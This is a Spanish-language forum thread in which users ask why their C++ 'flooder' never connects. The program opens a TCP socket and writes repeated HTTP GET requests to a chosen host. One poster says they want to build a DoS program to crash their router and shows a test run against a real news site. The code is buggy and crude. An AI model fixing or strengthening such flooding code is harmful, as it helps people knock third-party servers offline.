Hola alguien me dice por que no funciona este flooder xD nunca conecta con el servidor
#include <unistd.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
int main(int argc, char *argv[])
{
char request[1024];
char web[20];
int puertods;
printf("escribe la direccion web\n");
std::cin>>web;
printf("escribe el puerto (90 & 80) por defecto\n");
std::cin>>puertods;
struct hostent *host = gethostbyname(web);
if(!host)
{
printf("No se ha podido resolver la direccion del servidor");
exit(1);
}
struct sockaddr_in sock;
sock.sin_family = AF_INET;
sock.sin_port = htons(puertods);
sock.sin_addr.s_addr = inet_addr(host->h_addr);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
int aux = connect(sockfd, (struct sockaddr*) &sock, sizeof(sock));
if(aux==-1)
{
printf("No se pudo conectar al servidor");
exit(2);
}
sprintf(request, "GET / HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n ", host->h_name);
for(aux=0; aux<2000; aux++)
{
write(sockfd, request, strlen(request));
}
}
yo este viernes quiero intentar hacer un programa de DOS haber si me tira mi router XD.
Si entonces no sabes como solucionar tu error pues lo miro y te digo k falla.
PD:Posteo ya que de paso me servirá por si tengo un error similar XD
Despues de añadir bastante codigo para comprobar errores me ha quedado esto:
#include <unistd.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
int main(int argc, char *argv[])
{
char request[1024];
struct hostent *host = gethostbyname(argv[1]);
if(!host)
{
printf("No se ha podido resolver la direccion del servidor\n");
_exit(1);
}
printf("host->h_addr: %s\n", inet_ntoa(*((struct in_addr *)host->h_addr)));
struct sockaddr_in sock;
sock.sin_family = AF_INET;
sock.sin_port = htonl(atoi(argv[2]));
sock.sin_addr.s_addr = inet_addr(inet_ntoa(*((struct in_addr *)host->h_addr)));
printf("Direccion: %d\n", sock.sin_addr.s_addr);
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sockfd==-1)
{
printf("No se pudo crear el socket\n");
_exit(3);
}
printf("Socket creado\n");
int aux;
printf("Conectando...\n");
if(connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr)))
{
printf("No se pudo conectar al servidor\n");
_exit(2);
}
printf("Conectado\n");
sprintf(request, "GET / HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n ", host->h_name);
printf("Peticion en request\n");
for(aux=0; aux<3; aux++)
{
write(sockfd, request, strlen(request));
printf("%i peticion", aux);
}
close(sockfd);
return 0;
}
La salida:
$ ./flooder www.marca.com 80
host->h_addr: 193.110.128.199
20480
Direccion: -947884351
Socket creado
Conectando...
//Y tras varios minutos...
No se pudo conectar al servidor
Nunca llega a conectar, no se porque.